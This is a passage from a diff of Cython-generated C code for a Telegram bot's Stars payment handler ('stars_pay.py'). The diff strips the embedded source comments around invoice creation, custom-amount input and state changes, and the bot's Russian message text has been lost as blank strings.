"handlers/payments/stars_pay.py":123 - * try: - * await callback_query.message.delete() - * except Exception as e: # <<<<<<<<<<<<<< - * logger.error(f" : {e}") - * - */ /*finally:*/ { /*normal exit:*/{ __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); @@ -6228,13 +5615,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou } goto __pyx_L34_except_error; - /* "handlers/payments/stars_pay.py":121 - * amount = int(amount_str) - * except ValueError: - * try: # <<<<<<<<<<<<<< - * await callback_query.message.delete() - * except Exception as e: - */ __pyx_L34_except_error:; __Pyx_XGIVEREF(__pyx_t_22); __Pyx_XGIVEREF(__pyx_t_21); @@ -6249,13 +5629,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou __pyx_L39_try_end:; } - /* "handlers/payments/stars_pay.py":126 - * logger.error(f" : {e}") - * - * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< - * return - * - */ __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 126, __pyx_L26_except_error) __Pyx_GOTREF(__pyx_t_14); __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_14, __pyx_n_s_answer); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 126, __pyx_L26_except_error) @@ -6333,13 +5706,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou } } - /* "handlers/payments/stars_pay.py":127 - * - * await callback_query.message.answer(" .") - * return # <<<<<<<<<<<<<< - * - * await state.update_data(amount=amount) - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -6349,13 +5715,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou } goto __pyx_L26_except_error; - /* "handlers/payments/stars_pay.py":118 - * - * amount_str = data[1] - * try: # <<<<<<<<<<<<<< - * amount = int(amount_str) - * except ValueError: - */ __pyx_L26_except_error:; __Pyx_XGIVEREF(__pyx_t_7); __Pyx_XGIVEREF(__pyx_t_6); @@ -6371,13 +5730,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou __pyx_L29_try_end:; } - /* "handlers/payments/stars_pay.py":129 - * return - * - * await state.update_data(amount=amount) # <<<<<<<<<<<<<< - * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_stars) - * - */ __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 129, __pyx_L1_error) @@ -6407,13 +5759,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou } } - /* "handlers/payments/stars_pay.py":130 - * - * await state.update_data(amount=amount) - * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_stars) # <<<<<<<<<<<<<< - * - * try: - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 130, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 130, __pyx_L1_error) @@ -6464,13 +5809,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou } } - /* "handlers/payments/stars_pay.py":132 - * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_stars) - * - * try: # <<<<<<<<<<<<<< - * builder = InlineKeyboardBuilder() - * builder.row( - */ { __Pyx_ExceptionSave(&__pyx_t_5, &__pyx_t_6, &__pyx_t_7); __Pyx_XGOTREF(__pyx_t_5); @@ -6478,13 +5816,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou __Pyx_XGOTREF(__pyx_t_7); /*try:*/ { - /* "handlers/payments/stars_pay.py":133 - * - * try: - * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< - * builder.row( - * InlineKeyboardButton(text="", pay=True), - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 133, __pyx_L55_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_13 = NULL; @@ -6513,23 +5844,9 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou __pyx_cur_scope->__pyx_v_builder = __pyx_t_2; __pyx_t_2 = 0; - /* "handlers/payments/stars_pay.py":134 - * try: - * builder = InlineKeyboardBuilder() - * builder.row( # <<<<<<<<<<<<<< - * InlineKeyboardButton(text="", pay=True), - * ) - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 134, __pyx_L55_error) __Pyx_GOTREF(__pyx_t_1); - /* "handlers/payments/stars_pay.py":135 - * builder = InlineKeyboardBuilder() - * builder.row( - * InlineKeyboardButton(text="", pay=True), # <<<<<<<<<<<<<< - * ) - * builder.row( - */ __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 135, __pyx_L55_error) __Pyx_GOTREF(__pyx_t_13); __pyx_t_8 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 135, __pyx_L55_error) @@ -6565,23 +5882,9 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/stars_pay.py":137 - * InlineKeyboardButton(text="", pay=True), - * ) - * builder.row( # <<<<<<<<<<<<<< - * InlineKeyboardButton(text=" ", callback_data="pay"), - * ) - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 137, __pyx_L55_error) __Pyx_GOTREF(__pyx_t_1); - /* "handlers/payments/stars_pay.py":138 - * ) - * builder.row( - * InlineKeyboardButton(text=" ", callback_data="pay"), # <<<<<<<<<<<<<< - * ) - * - */ __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 138, __pyx_L55_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_8 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 138, __pyx_L55_error) @@ -6617,26 +5920,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/stars_pay.py":141 - * ) - * - * await callback_query.message.answer_invoice( # <<<<<<<<<<<<<< - * title=f" {amount} .", - * description=f" {amount} .", - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 141, __pyx_L55_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer_invoice); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 141, __pyx_L55_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/stars_pay.py":142 - * - * await callback_query.message.answer_invoice( - * title=f" {amount} .", # <<<<<<<<<<<<<< - * description=f" {amount} .", - * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], - */ __pyx_t_2 = __Pyx_PyDict_NewPresized(7); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 142, __pyx_L55_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_13 = PyTuple_New(3); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 142, __pyx_L55_error) @@ -6666,13 +5955,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_title, __pyx_t_8) < 0) __PYX_ERR(0, 142, __pyx_L55_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - /* "handlers/payments/stars_pay.py":143 - * await callback_query.message.answer_invoice( - * title=f" {amount} .", - * description=f" {amount} .", # <<<<<<<<<<<<<< - * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], - * provider_token="", - */ __pyx_t_8 = PyTuple_New(3); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 143, __pyx_L55_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_3 = 0; @@ -6700,13 +5982,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_description, __pyx_t_13) < 0) __PYX_ERR(0, 142, __pyx_L55_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - /* "handlers/payments/stars_pay.py":144 - * title=f" {amount} .", - * description=f" {amount} .", - * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], # <<<<<<<<<<<<<< - * provider_token="", - * payload=f"{amount}_stars", - */ __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_LabeledPrice); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 144, __pyx_L55_error) __Pyx_GOTREF(__pyx_t_13); __pyx_t_8 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 144, __pyx_L55_error) @@ -6735,13 +6010,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_provider_token, __pyx_kp_u__17) < 0) __PYX_ERR(0, 142, __pyx_L55_error) - /* "handlers/payments/stars_pay.py":146 - * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], - * provider_token="", - * payload=f"{amount}_stars", # <<<<<<<<<<<<<< - * currency="XTR", - * reply_markup=builder.as_markup(), - */ __pyx_t_8 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 146, __pyx_L55_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_11 = __Pyx_PyUnicode_ConcatInPlace(__pyx_t_8, __pyx_n_u_stars_2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 146, __pyx_L55_error) @@ -6751,13 +6019,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_currency, __pyx_n_u_XTR) < 0) __PYX_ERR(0, 142, __pyx_L55_error) - /* "handlers/payments/stars_pay.py":148 - * payload=f"{amount}_stars", - * currency="XTR", - * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< - * ) - * except Exception as e: - */ __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 148, __pyx_L55_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_13 = NULL; @@ -6785,13 +6046,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_t_11) < 0) __PYX_ERR(0, 142, __pyx_L55_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - /* "handlers/payments/stars_pay.py":141 - * ) - * - * await callback_query.message.answer_invoice( # <<<<<<<<<<<<<< - * title=f" {amount} .", - * description=f" {amount} .", - */ __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 141, __pyx_L55_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -6831,13 +6085,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou } } - /* "handlers/payments/stars_pay.py":132 - * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_stars) - * - * try: # <<<<<<<<<<<<<< - * builder = InlineKeyboardBuilder() - * builder.row( - */ } __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; @@ -6855,13 +6102,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou __Pyx_XDECREF(__pyx_t_25); __pyx_t_25 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; - /* "handlers/payments/stars_pay.py":150 - * reply_markup=builder.as_markup(), - * ) - * except Exception as e: # <<<<<<<<<<<<<< - * logger.error(f" : {e}") - * await callback_query.message.answer(" .") - */ __pyx_t_10 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_10) { __Pyx_AddTraceback("handlers.payments.stars_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); @@ -6874,13 +6114,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou __pyx_cur_scope->__pyx_v_e = __pyx_t_2; /*try:*/ { - /* "handlers/payments/stars_pay.py":151 - * ) - * except Exception as e: - * logger.error(f" : {e}") # <<<<<<<<<<<<<< - * await callback_query.message.answer(" .") - * - */ __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_logger); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 151, __pyx_L67_error) __Pyx_GOTREF(__pyx_t_13); __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_error); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 151, __pyx_L67_error) @@ -6916,13 +6149,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou } __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - /* "handlers/payments/stars_pay.py":152 - * except Exception as e: - * logger.error(f" : {e}") - * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< - * - * - */ __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 152, __pyx_L67_error) __Pyx_GOTREF(__pyx_t_14); __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_14, __pyx_n_s_answer); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 152, __pyx_L67_error) @@ -7001,13 +6227,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou } } - /* "handlers/payments/stars_pay.py":150 - * reply_markup=builder.as_markup(), - * ) - * except Exception as e: # <<<<<<<<<<<<<< - * logger.error(f" : {e}") - * await callback_query.message.answer(" .") - */ /*finally:*/ { /*normal exit:*/{ __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); @@ -7061,13 +6280,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou } goto __pyx_L57_except_error; - /* "handlers/payments/stars_pay.py":132 - * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_stars) - * - * try: # <<<<<<<<<<<<<< - * builder = InlineKeyboardBuilder() - * builder.row( - */ __pyx_L57_except_error:; __Pyx_XGIVEREF(__pyx_t_5); __Pyx_XGIVEREF(__pyx_t_6); @@ -7083,13 +6295,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/stars_pay.py":102 - * - * - * @router.callback_query(F.data.startswith("stars_amount|")) # <<<<<<<<<<<<<< - * async def process_amount_selection( - * callback_query: types.CallbackQuery, state: FSMContext - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -7119,13 +6324,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou } static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/stars_pay.py":155 - * - * - * @router.callback_query(F.data == "enter_custom_amount_stars") # <<<<<<<<<<<<<< - * async def process_enter_custom_amount( - * callback_query: types.CallbackQuery, state: FSMContext - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_7process_enter_custom_amount(PyObject *__pyx_self, @@ -7303,13 +6501,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 155, __pyx_L1_error) - /* "handlers/payments/stars_pay.py":159 - * callback_query: types.CallbackQuery, state: FSMContext - * ): - * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_stars")) - * - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; @@ -7338,13 +6529,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/stars_pay.py":160 - * ): - * builder = InlineKeyboardBuilder() - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_stars")) # <<<<<<<<<<<<<< - * - * await callback_query.message.answer( - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 160, __pyx_L1_error) @@ -7382,26 +6566,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/stars_pay.py":162 - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_stars")) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * ", .", - * reply_markup=builder.as_markup(), - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 162, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 162, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/stars_pay.py":164 - * await callback_query.message.answer( - * ", .", - * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< - * ) - * - */ __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 164, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 164, __pyx_L1_error) @@ -7431,13 +6601,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 164, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - /* "handlers/payments/stars_pay.py":162 - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_stars")) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * ", .", - * reply_markup=builder.as_markup(), - */ __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__23, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 162, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -7462,13 +6625,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou } } - /* "handlers/payments/stars_pay.py":167 - * ) - * - * await state.set_state(ReplenishBalanceState.entering_custom_amount_stars) # <<<<<<<<<<<<<< - * - * - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 167, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 167, __pyx_L1_error) @@ -7520,13 +6676,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/stars_pay.py":155 - * - * - * @router.callback_query(F.data == "enter_custom_amount_stars") # <<<<<<<<<<<<<< - * async def process_enter_custom_amount( - * callback_query: types.CallbackQuery, state: FSMContext - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -7551,13 +6700,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou } static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/stars_pay.py":170 - * - * - * @router.message(ReplenishBalanceState.entering_custom_amount_stars) # <<<<<<<<<<<<<< - * async def process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_10process_custom_amount_input(PyObject *__pyx_self, @@ -7756,13 +6898,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 170, __pyx_L1_error) - /* "handlers/payments/stars_pay.py":172 - * @router.message(ReplenishBalanceState.entering_custom_amount_stars) - * async def process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): # <<<<<<<<<<<<<< - * amount = int(message.text) - * if amount // RUB_TO_XTR <= 0: - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_isdigit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 172, __pyx_L1_error) @@ -7794,13 +6929,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_5) { - /* "handlers/payments/stars_pay.py":173 - * async def process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): - * amount = int(message.text) # <<<<<<<<<<<<<< - * if amount // RUB_TO_XTR <= 0: - * await message.answer( - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 173, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 173, __pyx_L1_error) @@ -7810,13 +6938,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __pyx_cur_scope->__pyx_v_amount = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/stars_pay.py":174 - * if message.text.isdigit(): - * amount = int(message.text) - * if amount // RUB_TO_XTR <= 0: # <<<<<<<<<<<<<< - * await message.answer( - * f" {RUB_TO_XTR}. , :" - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_RUB_TO_XTR); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 174, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 174, __pyx_L1_error) @@ -7828,23 +6949,9 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_5) { - /* "handlers/payments/stars_pay.py":175 - * amount = int(message.text) - * if amount // RUB_TO_XTR <= 0: - * await message.answer( # <<<<<<<<<<<<<< - * f" {RUB_TO_XTR}. , :" - * ) - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 175, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - /* "handlers/payments/stars_pay.py":176 - * if amount // RUB_TO_XTR <= 0: - * await message.answer( - * f" {RUB_TO_XTR}. , :" # <<<<<<<<<<<<<< - * ) - * return - */ __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = 0; @@ -7915,33 +7022,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro } } - /* "handlers/payments/stars_pay.py":178 - * f" {RUB_TO_XTR}. , :" - * ) - * return # <<<<<<<<<<<<<< - * - * await state.update_data(amount=amount) - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L0; - /* "handlers/payments/stars_pay.py":174 - * if message.text.isdigit(): - * amount = int(message.text) - * if amount // RUB_TO_XTR <= 0: # <<<<<<<<<<<<<< - * await message.answer( - * f" {RUB_TO_XTR}. , :" - */ } - /* "handlers/payments/stars_pay.py":180 - * return - * - * await state.update_data(amount=amount) # <<<<<<<<<<<<<< - * await state.set_state( - * ReplenishBalanceState.waiting_for_payment_confirmation_stars - */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 180, __pyx_L1_error) @@ -7971,23 +7057,9 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro } } - /* "handlers/payments/stars_pay.py":181 - * - * await state.update_data(amount=amount) - * await state.set_state( # <<<<<<<<<<<<<< - * ReplenishBalanceState.waiting_for_payment_confirmation_stars - * ) - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - /* "handlers/payments/stars_pay.py":182 - * await state.update_data(amount=amount) - * await state.set_state( - * ReplenishBalanceState.waiting_for_payment_confirmation_stars # <<<<<<<<<<<<<< - * ) - * try: - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 182, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 182, __pyx_L1_error) @@ -8036,13 +7108,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro } } - /* "handlers/payments/stars_pay.py":184 - * ReplenishBalanceState.waiting_for_payment_confirmation_stars - * ) - * try: # <<<<<<<<<<<<<< - * builder = 